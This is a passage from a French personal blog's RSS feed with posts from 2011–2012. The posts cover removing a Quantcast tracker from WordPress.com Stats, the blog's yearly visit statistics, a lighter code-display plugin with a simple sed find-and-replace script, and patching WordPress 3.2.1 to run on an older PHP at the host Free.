l&amp;rsquo;inclusion d&amp;rsquo;un traqueur Quantcast.&lt;/p&gt;&#xA;&lt;p&gt;Un autre site se révèle très utile pour identifier ce qui se passe quand une page s&amp;rsquo;affiche : &lt;a class=&#34;link&#34; href=&#34;http://www.webpagetest.org&#34;  title=&#34;le site de WebTestPage&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WebTestPage&lt;/a&gt;. Initialement destiné à mesurer la performance, on y voit clairement toutes les requêtes http :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2012/01/webpagetest1.png&#34; &gt;&lt;img alt=&#34;requêtes vers Wordpress et Quantcast&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;288px&#34; data-flex-grow=&#34;120&#34; height=&#34;374&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/un-traqueur-dans-wordpress-com-stats/webpagetest1-450.png&#34; width=&#34;450&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Comme souvent sur internet, la solution ne tarde pas : un type répond à l&amp;rsquo;article en exprimant lui aussi son trouble face à ce manque de clarté de Wordpress.com, et ajoute qu&amp;rsquo;il a écrit un petit plugin permettant de stopper le traqueur de Quantcast. Il s&amp;rsquo;agit de &lt;a class=&#34;link&#34; href=&#34;http://wordpress.org/extend/plugins/wp-donottrack/&#34;  title=&#34;le plugin WP DoNotTrack sur Wordpress.org&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP DoNotTrack&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Je l&amp;rsquo;installe donc rapidement, puis vérifie que la requête vers Quantcast a bien disparu :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;il ne reste plus que Wordpress Stats&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;532px&#34; data-flex-grow=&#34;222&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/un-traqueur-dans-wordpress-com-stats/tracker2.png&#34; width=&#34;242&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Je vérifie également avec WebTestPage, il ne reste que Wordpress.com :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2012/01/webpagetest2.png&#34; &gt;&lt;img alt=&#34;plus de trace de Quantcast&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;276px&#34; data-flex-grow=&#34;115&#34; height=&#34;391&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/un-traqueur-dans-wordpress-com-stats/webpagetest2-450.png&#34; width=&#34;450&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;automattic&#34;&gt;Automattic&#xA;&lt;/h3&gt;&lt;p&gt;Concernant Wordpress, j&amp;rsquo;ai compris qu&amp;rsquo;il faut différencier Wordpress.org qui réalise la plateforme de blog Open Source, et Wordpress.com (appartenant à la société &lt;a class=&#34;link&#34; href=&#34;http://automattic.com/&#34;  title=&#34;le site d&amp;#39;Automattic&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Automattic&lt;/a&gt;) qui héberge des blogs Wordpress (gratuitement par défaut) et tire ses revenus en proposant des services supplémentaires.&lt;/p&gt;&#xA;&lt;p&gt;Automattic est spécialisé dans les applications web, mais est aussi impliqué dans certains projets Open Source. Ce sont également eux qui fournissent le plugin &lt;a class=&#34;link&#34; href=&#34;http://akismet.com/&#34;  title=&#34;le site Akismet&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Akismet&lt;/a&gt; pour la protection contre les spams ou encore &lt;a class=&#34;link&#34; href=&#34;http://fr.gravatar.com/&#34;  title=&#34;le site de Gravatar&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Gravatar&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Il y a d&amp;rsquo;ailleurs un type de Automattic qui a posté une réponse sur l&amp;rsquo;article de Brian : il explique qu&amp;rsquo;Automattic utilise Quantcast pour ajouter de nouvelles statistiques, qu&amp;rsquo;il n&amp;rsquo;y a aucun traçage publicitaire, et que Quantcast est utilisé par eux comme le serait Google Analytics ou Comscore.&lt;/p&gt;&#xA;&lt;p&gt;Ceci dit, il concède que la confidentialité des données est quelque chose d&amp;rsquo;important. Et conclut en disant que personne n&amp;rsquo;est obligé d&amp;rsquo;installer le plugin Wordpress.com Stats.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&#xA;&lt;/h3&gt;&lt;p&gt;Si tout cela n&amp;rsquo;est pas parfait, le blog n&amp;rsquo;envoie désormais plus de données vers Quantcast, c&amp;rsquo;est l&amp;rsquo;essentiel. Et à priori, Wordpress.com ne fait rien des données collectées (mais les conditions de confidentialité peuvent un beau jour changer, éternel problème).&lt;/p&gt;&#xA;&lt;p&gt;En fait, si je veux obtenir des stats du blog et être certain que personne n&amp;rsquo;exploite les données, la seule façon est de le faire soi-même, avec &lt;a class=&#34;link&#34; href=&#34;http://piwik.org/&#34;  title=&#34;le site de Piwik&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Piwik&lt;/a&gt; par exemple. Il faut que je regarde s&amp;rsquo;il peut être installé chez Free, ce n&amp;rsquo;est pas certain.&lt;/p&gt;&#xA;&lt;p&gt;Après tout, les statistiques du blog, ce n&amp;rsquo;est pas forcément très important. Certes c&amp;rsquo;est agréable d&amp;rsquo;avoir quelques chiffres sur la fréquentation, voir les articles les plus consultés&amp;hellip; mais en aucun cas primordial.&lt;/p&gt;&#xA;&lt;p&gt;Une dernière chose : le web étant de nos jours truffé de traqueurs, c&amp;rsquo;est à l&amp;rsquo;utilisateur de se protéger avant tout. Utiliser un navigateur qui vous aide à vous protéger comme Firefox par exemple. Avec quelques extensions vous pouvez agir efficacement, voilà ce que j&amp;rsquo;utilise par exemple :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;http://adblockplus.org/en/firefox&#34;  title=&#34;le site d&amp;#39;Adblock Plus&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Adblock Plus&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://addons.mozilla.org/fr/firefox/addon/cookiekiller/?src=api&#34;  title=&#34;l&amp;#39;extension Cookie Killer&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CookieKiller&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;http://www.ghostery.com/&#34;  title=&#34;le site de ghostery&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Ghostery&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;http://noscript.net/&#34;  title=&#34;le site de NoScript&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;NoScript&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;http://https-everywhere.softonic.fr/&#34;  title=&#34;le site de HTTPS Everywhere&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;HTTPS-Everywhere&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Bon surf !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog - année 2011</title>
            <link>https://pled.fr/statistiques-du-blog-annee-2011/</link>
            <pubDate>Tue, 03 Jan 2012 19:04:45 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog-annee-2011/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2012/01/stats1.png&#34; &gt;&lt;img alt=&#34;nombre de visites&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;708px&#34; data-flex-grow=&#34;295&#34; height=&#34;253&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2011/stats1.png&#34; width=&#34;747&#34;&gt;&lt;/a&gt; Après les cadeaux de Noël, les vœux de la nouvelle année, c&amp;rsquo;est le moment de regarder un peu les stats du blog, grâce au plugin &lt;a class=&#34;link&#34; href=&#34;http://wordpress.org/extend/plugins/stats/&#34;  title=&#34;plugin wp-stats&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Wordpress.com Stats&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Côté nombre de visites, ça grimpe toujours doucement, selon une règle très simple : &lt;em&gt;plus de contenu = plus de visites&lt;/em&gt;. Et donc on dépasse la barre des 6000 visites mensuelles plusieurs fois en 2011.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai publié &lt;strong&gt;101&lt;/strong&gt; articles cette année, contre &lt;strong&gt;96&lt;/strong&gt; l&amp;rsquo;année dernière (voir les archives dans la colonne de gauche). C&amp;rsquo;est à peu près stable, et moins que les années précédentes, mais les articles sont plus élaborés qu&amp;rsquo;au début du blog.&lt;/p&gt;&#xA;&lt;p&gt;Un premier plugin &lt;a class=&#34;link&#34; href=&#34;http://faked.org/blog/wp-onlinecounter/&#34;  title=&#34;la page du plugin WP online counter&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP online counter&lt;/a&gt;, activé depuis le début du site ou presque (et affiché en bas de page), me donne un nombre total de visiteurs de &lt;strong&gt;482 703&lt;/strong&gt; à ce jour, contre &lt;strong&gt;318 875&lt;/strong&gt; il y a un an. On approche des 500 000 visites : ce sera pour cette année !&lt;/p&gt;&#xA;&lt;h3 id=&#34;visites&#34;&gt;Visites&#xA;&lt;/h3&gt;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2012/01/stats2.png&#34; &gt;&lt;img alt=&#34;statistiques détaillées&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;374px&#34; data-flex-grow=&#34;155&#34; height=&#34;519&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2011/stats2.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2011/stats2_hu_b0d1d5dfede93827.png 800w, https://pled.fr/statistiques-du-blog-annee-2011/stats2.png 809w&#34; width=&#34;809&#34;&gt;&lt;/a&gt; C&amp;rsquo;est confirmé en comparant les années de 2009 à 2011 :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;31 694 en 2009&lt;/li&gt;&#xA;&lt;li&gt;45 260 en 2010&lt;/li&gt;&#xA;&lt;li&gt;70 283 en 2011&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Belle progression, non ? le nouveau record mensuel est de 6 738 visites en mars 2011, à comparer avec les 4 833 en novembre 2010, le précédent record.&lt;/p&gt;&#xA;&lt;h3 id=&#34;articles&#34;&gt;Articles&#xA;&lt;/h3&gt;&lt;p&gt;Il y a maintenant &lt;strong&gt;742&lt;/strong&gt; articles sur ce blog, et &lt;strong&gt;514&lt;/strong&gt; commentaires.&lt;/p&gt;&#xA;&lt;p&gt;Comme l’année dernière, voilà le « &lt;strong&gt;top 20&lt;/strong&gt;» des articles les plus consultés, avec les chiffres de 2009/2010 pour ceux qui étaient déjà présents :&#xA;Article200920102011&lt;a class=&#34;link&#34; href=&#34;./?p=2424&#34; &gt;Rééducation du coude&lt;/a&gt;3 44110 797&lt;a class=&#34;link&#34; href=&#34;./?p=310&#34; &gt;VTT Giant&lt;/a&gt;2 0084 3646 765&lt;a class=&#34;link&#34; href=&#34;./?p=45&#34; &gt;Le zona, c&amp;rsquo;est la zone&lt;/a&gt;1 2322 9135 160&lt;a class=&#34;link&#34; href=&#34;./?p=849&#34; &gt;VirtualBox&lt;/a&gt;2 1733 7964 866&lt;a class=&#34;link&#34; href=&#34;./?p=6&#34; &gt;Les démons de Jésus&lt;/a&gt;1 0492 3974 003&lt;a class=&#34;link&#34; href=&#34;./?p=2829&#34; &gt;Fracture du coude - 6 mois après&lt;/a&gt;1 1013 960&lt;a class=&#34;link&#34; href=&#34;./?p=218&#34; &gt;Wengo plutôt que Skype&lt;/a&gt;1 1202 866&lt;a class=&#34;link&#34; href=&#34;./?p=2273&#34; &gt;Sauvegarder ses données sous Ubuntu&lt;/a&gt;5001 4352 670&lt;a class=&#34;link&#34; href=&#34;./?p=9&#34; &gt;Wordpress: installation en local&lt;/a&gt;6701 6442 586&lt;a class=&#34;link&#34; href=&#34;./?p=366&#34; &gt;Le pays Gallo&lt;/a&gt;5941 4832 519&lt;a class=&#34;link&#34; href=&#34;./?p=195&#34; &gt;UBCD4Win&lt;/a&gt;1 0291 7632 348&lt;a class=&#34;link&#34; href=&#34;./?p=3010&#34; &gt;“Écoutez” France Culture… en mp3 (2)&lt;/a&gt;7332 226&lt;a class=&#34;link&#34; href=&#34;./?p=756&#34; &gt;Ubuntu 8.04 - Hardy Heron&lt;/a&gt;1 8631 9912 076&lt;a class=&#34;link&#34; href=&#34;../?p=3933&#34; &gt;Convertir les fichiers TS de la Freebox (SD)&lt;/a&gt;2 031&lt;a class=&#34;link&#34; href=&#34;./?p=1870&#34; &gt;Tristes tropiques - Claude Lévi-Strauss&lt;/a&gt;2971 0171 843&lt;a class=&#34;link&#34; href=&#34;./?p=3548&#34; &gt;Migration d&amp;rsquo;Evolution à Thunderbird&lt;/a&gt;1 843&lt;a class=&#34;link&#34; href=&#34;./?p=738&#34; &gt;Les oursins n&amp;rsquo;aiment pas le Round-up&lt;/a&gt;8791 0221 714&lt;a class=&#34;link&#34; href=&#34;./?p=287&#34; &gt;Freebox v5&lt;/a&gt;7001 664&lt;a class=&#34;link&#34; href=&#34;./?p=&#34; &gt;Mise à jour Wordpress 3.2.1&lt;/a&gt;1 594&lt;a class=&#34;link&#34; href=&#34;./?p=751&#34; &gt;Radiohead - In Rainbows&lt;/a&gt;1 536&#xA;À noter cette année :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;L&amp;rsquo;article &lt;a class=&#34;link&#34; href=&#34;./?p=2424&#34; &gt;Rééducation du coude&lt;/a&gt; (troisième l&amp;rsquo;année dernière) fait largement cavalier seul, et détient aussi le record du nombre de commentaires : 126 à ce jour, du jamais vu sur ce blog !&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;./?p=310&#34; &gt;VTT Giant&lt;/a&gt; descend de la première à la seconde place, alors qu&amp;rsquo;il ne s&amp;rsquo;agit que de quelques photos du VTT de ma frangine, ce qui permet de relativiser toutes ces statistiques !&lt;/li&gt;&#xA;&lt;li&gt;Si on ajoute &lt;a class=&#34;link&#34; href=&#34;./?p=45&#34; &gt;Le zona, c&amp;rsquo;est la zone&lt;/a&gt; (3ème) et &lt;a class=&#34;link&#34; href=&#34;./?p=2829&#34; &gt;Fracture du coude - 6 mois après&lt;/a&gt; (6ème), on se rend compte que les problèmes de santé, c&amp;rsquo;est important&amp;hellip;&lt;/li&gt;&#xA;&lt;li&gt;L&amp;rsquo;article sur &lt;a class=&#34;link&#34; href=&#34;./?p=366&#34; &gt;Le pays Gallo&lt;/a&gt; se place encore très bien cette année, vive la Bretagne !&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;./?p=3010&#34; &gt;“Écoutez” France Culture… en mp3 (2)&lt;/a&gt; a permis d&amp;rsquo;aider à télécharger les émissions de France culture, et c&amp;rsquo;est tant mieux !&lt;/li&gt;&#xA;&lt;li&gt;Trois nouveaux articles (écrits en 2011) font leur apparition : &lt;a class=&#34;link&#34; href=&#34;../?p=3933&#34; &gt;Convertir les fichiers TS de la Freebox (SD)&lt;/a&gt;, &lt;a class=&#34;link&#34; href=&#34;./?p=3548&#34; &gt;Migration d&amp;rsquo;Evolution à Thunderbird&lt;/a&gt; et &lt;a class=&#34;link&#34; href=&#34;./?p=&#34; &gt;Mise à jour Wordpress 3.2.1&lt;/a&gt;. C&amp;rsquo;est pas mal, car avec ce genre de classement, les articles les plus anciens partent avec de l&amp;rsquo;avance&amp;hellip; Si ces articles ont pu aider d&amp;rsquo;autres personnes, c&amp;rsquo;est gratifiant de partager ainsi ses expériences.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;./?p=751&#34; &gt;Radiohead - In Rainbows&lt;/a&gt; pourtant écrit en 2008 fait son apparition pour la première fois dans ce top 20.&lt;/li&gt;&#xA;&lt;li&gt;Un seul bouquin apparaît dans ce classement : &lt;a class=&#34;link&#34; href=&#34;./?p=1870&#34; &gt;Tristes tropiques - Claude Lévi-Strauss&lt;/a&gt;. J&amp;rsquo;aurais aimé en voir plus, mais celui-ci est excellent.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Voilà, ce sera tout pour cette année ! Meilleurs vœux à toutes et à tous pour cette année 2012 qui s&amp;rsquo;annonce riche en turbulences&amp;hellip;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Adieu SyntaxHighlighter</title>
            <link>https://pled.fr/adieu-syntaxhighlighter/</link>
            <pubDate>Sat, 20 Aug 2011 16:49:20 +0000</pubDate>
            <guid>https://pled.fr/adieu-syntaxhighlighter/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2011/08/SyntaxHighlighter.png&#34; &gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;326px&#34; data-flex-grow=&#34;136&#34; height=&#34;332&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/adieu-syntaxhighlighter/SyntaxHighlighter.png&#34; width=&#34;452&#34;&gt;&lt;/a&gt; Après le &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=4619&#34;  title=&#34;article sur la mise à jour Wordpess 3.2.1&#34;&#xA;    &gt;passage à Wordpress 3.2.1&lt;/a&gt;, mon tableau de bord ne s&amp;rsquo;affichait plus complètement&amp;hellip; la plupart du temps ! Problème de mémoire (limitée à 32 Mo chez Free), je commence à avoir l&amp;rsquo;habitude&amp;hellip; restait à trouver quel plugin supprimer.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;avais déjà dû supprimer &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=4275&#34;  title=&#34;article mise à jour version 3.1.2&#34;&#xA;    &gt;WP-dTree&lt;/a&gt; lors du passage à la version 3.1.2&amp;hellip; la cure d&amp;rsquo;amaigrissement continue donc, ce qui a finalement du bon : plus les pages sont légères et moins on charge de trucs plus ou moins utiles, mieux c&amp;rsquo;est !&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est donc &lt;a class=&#34;link&#34; href=&#34;http://www.viper007bond.com/wordpress-plugins/syntaxhighlighter/&#34;  title=&#34;site de l&amp;#39;extension SyntaxHighlighter&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SyntaxHighlighter Evolved&lt;/a&gt; qui disparaît, le plugin qui permettait d&amp;rsquo;afficher les lignes de codes en y ajoutant une coloration syntaxique. Pratique, certes, mais ce genre de plugin en JavaScript est coûteux en occupation mémoire (environ 400 Ko pour celui-ci, d&amp;rsquo;après ce que j&amp;rsquo;ai pu voir).&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;utilise donc maintenant &lt;a class=&#34;link&#34; href=&#34;http://priyadi.net/archives/2005/09/27/wordpress-plugin-code-autoescape/&#34;  title=&#34;Page du plugin Code Autoescape&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Code Autoescape&lt;/a&gt;, plugin beaucoup plus léger, mais qui bien entendu ne fait ni de coloration syntaxique, ni de numérotation de ligne, etc&amp;hellip; Avec un peu de CSS, voici ce que cela donnera maintenant :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#! /bin/sh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# nom du fichier : replaceall.sh&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# pas de SAUVEGARDE des fichiers faite par ce script.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;find . -type f -name &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;*.html&amp;#39;&lt;/span&gt; -print | &lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; read i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sed &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;s|&lt;/span&gt;$1&lt;span style=&#34;color:#e6db74&#34;&gt;|&lt;/span&gt;$2&lt;span style=&#34;color:#e6db74&#34;&gt;|g&amp;#34;&lt;/span&gt; $i &amp;gt; $i.tmp &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; mv $i.tmp $i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;C&amp;rsquo;est forcément plus sobre ! un peu moins lisible bien sûr, mais un copier/coller dans son éditeur préféré pour ceux que le code intéresse résoudra le problème.&lt;/p&gt;&#xA;&lt;p&gt;Je suis repassé sur tous les articles affichant du code pour les modifier, normalement tout est à jour.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Mise à jour Wordpress 3.2.1</title>
            <link>https://pled.fr/mise-a-jour-wordpress-3-2-1/</link>
            <pubDate>Mon, 15 Aug 2011 19:01:48 +0000</pubDate>
            <guid>https://pled.fr/mise-a-jour-wordpress-3-2-1/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;logo wordpress&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;wordpress.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;La version 3.2 de Wordpress est sortie le mois dernier, et le focus a été mis sur la rapidité et la légèreté. Ça valait peut-être le coup de l&amp;rsquo;installer chez Free&amp;hellip; À noter également un nouveau mode plein écran quand on rédige un billet (le &lt;strong&gt;zen mode&lt;/strong&gt;) qui a l&amp;rsquo;air bien sympathique.&lt;/p&gt;&#xA;&lt;p&gt;Je prépare la mise à jour manuelle, télécharge les fichiers, lance la mise à jour et reçoit tout de suite un beau message très clair :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Votre serveur utilise la version 5.1.3RC4-dev de PHP mais WordPress 3.2.1 nécéssite au moins la version 5.2.4.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Effectivement, Free est à la version PHP 5.1.3&amp;hellip; et Wordpress veut la 5.2.4 minimum&amp;hellip; Je me dis que c&amp;rsquo;est foutu, qu&amp;rsquo;il va falloir attendre que Free veuille bien mettre à jour sa version, et que cela peut prendre du temps&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Je vérifie toutefois sur le forum Wordpress FR, et tombe sur un lien vers cet &lt;a class=&#34;link&#34; href=&#34;http://gaetan.janssens.free.fr/v2/index.php/maj-wordpress-3-2-3-free-fr-19-07-2011/&#34;  title=&#34;Comment passer à Wordpress 3.2.1 chez Free&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;article&lt;/a&gt; de &amp;ldquo;Petit Nuage&amp;rdquo; expliquant comment installer tout de même cette version.&lt;/p&gt;&#xA;&lt;p&gt;Il y a trois fichiers à modifier avant de les copier chez Free, tous trois situés dans le répertoire &lt;strong&gt;wp-includes&lt;/strong&gt; :&lt;/p&gt;&#xA;&lt;h3 id=&#34;versionphp&#34;&gt;version.php&#xA;&lt;/h3&gt;&lt;p&gt;On va d&amp;rsquo;abord dire à Wordpress que la version 5.1.2 est suffisante :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;/**&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; * Holds the required PHP version&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; * @global string $required_php_version&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;//$required_php_version = &amp;#39;5.2.4&amp;#39;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$required_php_version &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;5.1.2&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;functionsphp&#34;&gt;functions.php&#xA;&lt;/h3&gt;&lt;p&gt;Et comme la fonction &lt;strong&gt;array_fill_keys&lt;/strong&gt; n’existe pas dans la 5.1.3, on va la définir :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;/**&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; * Add missing function in php version 5.1.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;array_fill_keys&lt;/span&gt;($keyArray, $valueArray) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span 